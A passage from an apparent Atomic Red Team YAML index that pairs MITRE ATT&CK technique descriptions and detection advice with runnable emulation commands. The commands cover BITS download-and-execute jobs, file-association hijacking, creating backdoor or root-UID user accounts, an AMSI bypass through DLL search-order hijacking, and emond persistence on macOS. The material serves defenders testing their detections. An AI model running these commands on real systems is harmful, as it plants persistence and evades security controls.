other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. + + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) + + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) + + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + modified: '2019-07-16T20:02:53.027Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + + Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) + + Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ricardo Dias + - Red Canary + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1197 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1197 + - source_name: Microsoft COM + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + - source_name: Microsoft BITS + description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved + January 12, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + - source_name: Microsoft BITSAdmin + description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. + url: https://msdn.microsoft.com/library/aa362813.aspx + - source_name: CTU BITS Malware June 2016 + description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers + with BITS. Retrieved January 12, 2018. + url: https://www.secureworks.com/blog/malware-lingers-with-bits + - source_name: Mondok Windows PiggyBack BITS May 2007 + description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background + Intelligent Transfer Service. Retrieved January 12, 2018. + url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + - source_name: Symantec BITS May 2007 + description: Florio, E. (2007, May 9). Malware Update with Windows Update. + Retrieved January 12, 2018. + url: https://www.symantec.com/connect/blogs/malware-update-windows-update + - source_name: PaloAlto UBoatRAT Nov 2017 + description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. + Retrieved January 12, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + - source_name: Microsoft Issues with BITS July 2011 + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + url: https://technet.microsoft.com/library/dd939934.aspx + x_mitre_defense_bypassed: + - Firewall + - Host forensic analysis + identifier: T1197 + atomic_tests: + - name: Bitsadmin Download (cmd) + description: | + This test simulates an adversary leveraging bitsadmin.exe to download + and execute a payload + supported_platforms: + - windows + input_arguments: + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "%temp%\\bitsadmin_flag.ps1" + executor: + name: command_prompt + command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} + #{local_file} + + ' + cleanup_command: 'del #{local_file} >nul 2>&1 + + ' + - name: Bitsadmin Download (PowerShell) + description: | + This test simulates an adversary leveraging bitsadmin.exe to download + and execute a payload leveraging PowerShell + + Upon execution you will find a github markdown file downloaded to the Temp directory + supported_platforms: + - windows + input_arguments: + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "$env:TEMP\\bitsadmin_flag.ps1" + executor: + name: powershell + command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination + #{local_file} + + ' + cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore + + ' + - name: Persist, Download, & Execute + description: | + This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transfer + and execute a payload in multiple steps. This job will remain in the BITS queue for 90 days by default if not removed. + supported_platforms: + - windows + input_arguments: + bits_job_name: + description: Name of BITS job + type: string + default: AtomicBITS + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "%temp%\\bitsadmin_flag.ps1" + command_path: + description: Path of command to execute + type: path + default: C:\Windows\system32\notepad.exe + command_line: + description: Command line to execute + type: string + default: "%temp%\\bitsadmin_flag.ps1" + executor: + name: command_prompt + command: | + bitsadmin.exe /create #{bits_job_name} + bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} + bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} #{command_line} + bitsadmin.exe /complete AtomicBITS + bitsadmin.exe /resume #{bits_job_name} + T1176: + technique: + x_mitre_data_sources: + - Network protocol analysis + - Packet capture + - System calls + - Process use of network + - Process monitoring + - Browser extensions + x_mitre_permissions_required: + - User + name: Browser Extensions + description: |- + Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) + + Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). + id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. + + Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Justin Warner, ICEBRG + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1176 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1176 + - source_name: Wikipedia Browser Extension + description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January + 11, 2018. + url: https://en.wikipedia.org/wiki/Browser_extension + - source_name: Chrome Extensions Definition + description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, + 2017. + url: https://developer.chrome.com/extensions + - source_name: Malicious Chrome Extension Numbers + description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three + Years Fighting Malicious Extensions. Retrieved November 17, 2017. + url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf + - source_name: Chrome Extension Crypto Miner + description: Brinkmann, M. (2017, September 19). First Chrome extension with + JavaScript Crypto Miner detected. Retrieved November 16, 2017. + url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ + - source_name: ICEBRG Chrome Extensions + description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME + EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL + BUSINESSES. Retrieved January 17, 2018. + url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses + - source_name: Banker Google Chrome Extension Steals Creds + description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. + Retrieved November 18, 2017. + url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ + - source_name: Catch All Chrome Extension + description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension + Steals All Posted Data. Retrieved November 16, 2017. + url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) + - source_name: Stantinko Botnet + description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware + campaign operating covertly since 2012. Retrieved November 16, 2017.' + url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ + - source_name: Chrome Extension C2 Malware + description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might + get hacked by a Chrome extension. Retrieved November 22, 2017.' + url: https://kjaer.io/extension-malware/ + modified: '2019-07-16T20:22:19.705Z' + identifier: T1176 + atomic_tests: + - name: Chrome (Developer Mode) + description: '' + supported_platforms: + - linux + - windows + - macos + executor: + name: manual + steps: | + 1. Navigate to [chrome://extensions](chrome://extensions) and + tick 'Developer Mode'. + + 2. Click 'Load unpacked extension...' and navigate to + [Browser_Extension](../t1176/) + + 3. Click 'Select' + - name: Chrome (Chrome Web Store) + description: '' + supported_platforms: + - linux + - windows + - macos + executor: + name: manual + steps: | + 1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend + in Chrome + + 2. Click 'Add to Chrome' + - name: Firefox + description: 'Create a file called test.wma, with the duration of 30 seconds + + ' + supported_platforms: + - linux + - windows + - macos + executor: + name: manual + steps: | + 1. Navigate to [about:debugging](about:debugging) and + click "Load Temporary Add-on" + + 2. Navigate to [manifest.json](./src/manifest.json) + + 3. Then click 'Open' + T1042: + technique: + x_mitre_data_sources: + - Windows Registry + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Change Default File Association + description: |- + When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. + + System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example: + * HKEY_CLASSES_ROOT\txtfile\shell\open\command + * HKEY_CLASSES_ROOT\txtfile\shell\print\command + * HKEY_CLASSES_ROOT\txtfile\shell\printto\command + + The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012) + id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "Collect and analyze changes to Registry keys that associate + file extensions to default applications for execution and correlate with unknown + process launch activity or unusual file types for that process. \n\nUser file + association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts + and override associations configured under [HKEY_CLASSES_ROOT]. + Changes to a user's preference will occur under this entry's subkeys.\n\nAlso + look for abnormal process call trees for execution of other commands that + could relate to Discovery actions or other techniques." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:42.222Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1042 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1042 + - external_id: CAPEC-556 + source_name: capec + url: https://capec.mitre.org/data/definitions/556.html + - description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. + Retrieved November 13, 2014. + source_name: Microsoft File Handlers + url: http://msdn.microsoft.com/en-us/library/bb166549.aspx + - description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. + Retrieved July 26, 2016. + source_name: Microsoft Change Default Programs + url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs + - description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August + 7, 2018. + source_name: Microsoft Assoc Oct 2017 + url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc + - description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August + 8, 2018. + source_name: TrendMicro TROJ-FAKEAV OCT 2012 + url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd + modified: '2018-10-17T00:14:20.652Z' + identifier: T1042 + atomic_tests: + - name: Change Default File Association + description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon + successful execution, cmd.exe will change the file association of .hta to + notepad.exe. \n" + supported_platforms: + - windows + input_arguments: + extension_to_change: + description: File Extension To Hijack + type: String + default: ".hta" + target_extension_handler: + description: txtfile maps to notepad.exe + type: Path + default: txtfile + executor: + name: command_prompt + elevation_required: false + command: 'assoc #{extension_to_change}=#{target_extension_handler} + + ' + cleanup_command: 'assoc .hta=htafile + + ' + T1136: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - Office 365 account logs + - Azure activity logs + - AWS CloudTrail logs + - Process monitoring + - Process command-line parameters + - Authentication logs + - Windows event logs + name: Create Account + description: |- + Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. + + In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. + + ### Windows + + The net user commands can be used to create a local or domain account. + + ### Office 365 + + An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019) + id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure AD + - Azure + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2' + type: attack-pattern + x_mitre_detection: |- + Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. + + Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - Praetorian + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1136 + url: https://attack.mitre.org/techniques/T1136 + - description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. + al.. (2019, October 8). About admin roles. Retrieved October 18, 2019. + source_name: Microsoft O365 Admin Roles + url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide + - description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. + source_name: Microsoft Support O365 Add Another Admin, October 2019 + url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d + - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account + was created. Retrieved June 30, 2017.' + source_name: Microsoft User Creation Event + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 + modified: '2019-10-18T18:48:44.770Z' + identifier: T1136 + atomic_tests: + - name: Create a user account on a Linux system + description: 'Create a user via useradd + + ' + supported_platforms: + - linux + input_arguments: + username: + description: Username of the user to create + type: String + default: evil_user + executor: + name: bash + elevation_required: true + command: 'useradd -M -N -r -s /bin/bash -c evil_account #{username} + + ' + cleanup_command: 'userdel #{username} + + ' + - name: Create a user account on a MacOS system + description: 'Creates a user on a MacOS system with dscl + + ' + supported_platforms: + - macos + input_arguments: + username: + description: Username of the user to create + type: String + default: evil_user + realname: + description: "'realname' to record when creating the user" + type: String + default: Evil Account + executor: + name: bash + elevation_required: true + command: | + dscl . -create /Users/#{username} + dscl . -create /Users/#{username} UserShell /bin/bash + dscl . -create /Users/#{username} RealName "#{realname}" + dscl . -create /Users/#{username} UniqueID "1010" + dscl . -create /Users/#{username} PrimaryGroupID 80 + dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} + cleanup_command: 'dscl . -delete /Users/#{username} + + ' + - name: Create a new user in a command prompt + description: 'Creates a new user in a command prompt + + ' + supported_platforms: + - windows + input_arguments: + username: + description: Username of the user to create + type: String + default: T1136_CMD + password: + description: Password of the user to create + type: String + default: T1136_CMD! + executor: + name: command_prompt + elevation_required: true + command: 'net user /add "#{username}" "#{password}" + + ' + cleanup_command: 'net user /del "#{username}" + + ' + - name: Create a new user in PowerShell + description: 'Creates a new user in PowerShell + + ' + supported_platforms: + - windows + input_arguments: + username: + description: Username of the user to create + type: String + default: T1136_PowerShell + executor: + name: powershell + elevation_required: true + command: 'New-LocalUser -Name "#{username}" -NoPassword + + ' + cleanup_command: 'Remove-LocalUser -Name "#{username}" -ErrorAction Ignore + + ' + - name: Create a new user in Linux with `root` UID and GID. + description: 'Creates a new user in Linux and adds the user to the `root` group. + This technique was used by adversaries during the Butter attack campaign. + + ' + supported_platforms: + - linux + input_arguments: + username: + description: Username of the user to create + type: String + default: butter + password: + description: Password of the user to create + type: String + default: BetterWithButter + executor: + name: bash + elevation_required: true + command: | + useradd -o -u 0 -g 0 -M -d /root -s /bin/bash #{username} + echo "#{password}" | passwd --stdin #{username} + cleanup_command: 'userdel #{username}' + T1038: + technique: + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + x_mitre_data_sources: + - File monitoring + - DLL monitoring + - Process monitoring + - Process command-line parameters + name: DLL Search Order Hijacking + description: "Windows systems use a common method to look for required DLLs + to load into a program. (Citation: Microsoft DLL Search) Adversaries may take + advantage of the Windows DLL search order and programs that ambiguously specify + DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform + DLL preloading, also called binary planting attacks, (Citation: OWASP Binary + Planting) by placing a malicious DLL with the same name as an ambiguously + specified DLL in a location that Windows searches before the legitimate DLL. + Often this location is the current working directory of the program. Remote + DLL preloading attacks occur when a program sets its current directory to + a remote location such as a Web share before loading a DLL. (Citation: Microsoft + 2269637) Adversaries may use this behavior to cause the program to load a + malicious DLL. \n\nAdversaries may also directly modify the way a program + loads DLLs by replacing an existing DLL or modifying a .manifest or .local + redirection file, directory, or junction to cause the program to load a different + DLL to maintain persistence or privilege escalation. (Citation: Microsoft + DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search + Order)\n\nIf a search order-vulnerable program is configured to run at a higher + privilege level, then the adversary-controlled DLL that is loaded will also + be executed at the higher level. In this case, the technique could be used + for privilege escalation from user to administrator or SYSTEM or from administrator + to SYSTEM, depending on the program.\n\nPrograms that fall victim to path + hijacking may appear to behave normally because malicious DLLs may be configured + to also load the legitimate DLLs they were meant to replace." + id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586 + modified: '2019-07-24T15:07:22.266Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Ability to add a DLL, manifest file, or .local file, directory, or junction. + type: attack-pattern + x_mitre_detection: Monitor file systems for moving, renaming, replacing, or + modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared + with past behavior) that do not correlate with known software, patches, etc., + are suspicious. Monitor DLLs loaded into a process and detect DLLs that have + the same file name but abnormal paths. Modifications to or creation of .manifest + and .local redirection files that do not correlate with software updates are + suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:40.604Z' + x_mitre_effective_permissions: + - User + - Administrator + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1038 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1038 + - source_name: capec + external_id: CAPEC-471 + url: https://capec.mitre.org/data/definitions/471.html + - source_name: Microsoft DLL Search + description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved + November 30, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682586 + - source_name: OWASP Binary Planting + description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, + 2016. + url: https://www.owasp.org/index.php/Binary_planting + - source_name: Microsoft 2269637 + description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 + Released. Retrieved December 5, 2014. + url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx + - source_name: Microsoft DLL Redirection + description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved + December 5, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682600 + - source_name: Microsoft Manifests + description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. + url: https://msdn.microsoft.com/en-US/library/aa375365 + - source_name: Mandiant Search Order + description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. + Retrieved December 5, 2014. + url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ + x_mitre_defense_bypassed: + - Process whitelisting + identifier: T1038 + atomic_tests: + - name: DLL Search Order Hijacking - amsi.dll + description: | + Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) + https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ + + Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe + copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll + %APPDATA%\updater.exe -Command exit + cleanup_command: | + del %APPDATA%\updater.exe >nul 2>&1 + del %APPDATA%\amsi.dll >nul 2>&1 + T1519: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - File monitoring + - API monitoring + name: Emond + description: |- + Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) + + Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service. + id: attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor emond rules creation by checking for files created + or modified in /etc/emond.d/rules/ and /private/var/db/emondClients. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ivan Sinyakov + created: '2019-09-19T14:07:11.734Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - source_name: mitre-attack + external_id: T1519 + url: https://attack.mitre.org/techniques/T1519 + - description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For + Persistence. Retrieved September 10, 2019. + source_name: xorrior emond Jan 2018 + url: https://www.xorrior.com/emond-persistence/ + - description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September + 10, 2019. + source_name: magnusviri emond Apr 2016 + url: http://www.magnusviri.com/Mac/what-is-emond.html + - description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. + Retrieved September 10, 2019. + source_name: sentinelone macos persist Jun 2019 + url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ + modified: '2019-10-16T21:50:02.245Z' + identifier: T1519 + atomic_tests: + - name: Persistance with Event Monitor - emond + description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor) + daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124 + + ' + supported_platforms: + - macos + input_arguments: + plist: + description: Path to attacker emond plist file + type: path + default: PathToAtomicsFolder/T1519/src/T1519_emond.plist + executor: + name: sh + elevation_required: true + command: | + sudo cp "#{plist}" /etc/emond.d/rules/T1519_emond.plist + sudo touch /private/var/db/emondClients/T1519 + cleanup_command: | + sudo rm /etc/emond.d/rules/T1519_emond.plist + sudo rm /private/var/db/emondClients/T1519 + T1044: + technique: + x_mitre_permissions_required: + - Administrator + - User + x_mitre_data_sources: + - File monitoring + - Services + - Process command-line parameters + name: File System Permissions Weakness + description: |- + Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. + + Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. + + ### Services + + Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable. + + ### Executable Installers + + Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer) + id: attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + + Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + 